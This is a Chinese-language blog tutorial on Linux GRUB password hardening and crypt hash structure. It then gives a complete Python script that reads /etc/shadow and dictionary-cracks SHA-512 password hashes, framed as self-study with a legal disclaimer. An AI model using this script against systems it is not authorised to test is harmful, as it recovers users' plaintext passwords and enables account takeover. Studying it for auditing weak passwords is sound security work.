###【温馨提示】
(所有有关安全入侵防范知识仅供自己参考学习,未经别人允许入侵别人系统是违法的!)
###Tips:

* grub-md5-crypt(获取MD5 加密)
* md5sum fileUrl(对文件MD5加密)
* grub-crypt    (SHA-512 加密)
* CentOS6以上用户的密码加密为:SHA-512

###一、Linux系统加固
#####1.如何使用更加安全的方式为grub引导菜单加密?

》》grub-crypt(获取SHA-512密文)
》》cd /etc/grub.conf
》》password --encrypted [以上的密文] (位置在hiddenmenu下)
 

#####2.分析密码生成的特点

A.通过 man 手册查看crypt
    》》man crypt
B. $ id $ salt (盐值)$ encrypted(加密的密文)
	 //盐值:由[a-z1-9A-Z./]随机字符串混合加密算法所产生的密码值
	   作用:使同一种同种加密方式所产生的密文不同

###二、破解准备:

* 获取/etc/shadow文件
* 准备本地字典(passwd.txt【注意字典最后一行的回车】)
* 为方便观察将我本地用户Kevin密码改为123456
  》》echo 123456 | passwd --stdin Kevin

###三、破解代码:

#!/usr/bin/env python
#coding:utf8 
import crypt

# 获取shadow文件并赋给变量user_pwfile
user_pwfile = "/etc/shadow"
# 定义获取密码函数get_pw()
def get_pw(u_p):
	# 定义用户名和密码对应的字典
	user_pw = {}
	# 读取shadow文件
	f = open(u_p,'r')
	userline = f.readlines()
	f.close()
	for l in userline:
		# 筛选掉系统用户
		if len(l.split(":")[1]) > 3:
			# 将用户和密码加入字典user_pw
			user_pw[l.split(":")[0]] = l.split(":")[1]
	return user_pw

# 获取本地字典集文件并赋给dicti
dicti = "/kevin/passwd.txt"
# 定义读取本地字典集函数
def get_dic(g_d):
	f = open(g_d,'r')
	mw_dic = f.readlines()
	f.close()
	return mw_dic

# 定义主函数
def main():
	# 主函数中用户名和密码(字典)
	user_passwd = get_pw(user_pwfile)
	# 主函数中本地字典集
	mw_dic = get_dic(dicti)
	# 循环出用户键名
	for u in user_passwd:
		# 获得每个用户密码
		passwd = user_passwd[u]
		# 获得每个用户盐值
		salt = "$6$" + passwd.split("$")[2]
		for pw_mv in mw_dic:
			#rstrip()去除空行(\n)
			if passwd == crypt.crypt(pw_mv.rstrip(),salt):
				print("用户名:%s  密码:%s" %(u,pw_mv.rstrip()))
	
if __name__ == "__main__":
	main()

###四、验证结果
这里写图片描述

Logo

更多推荐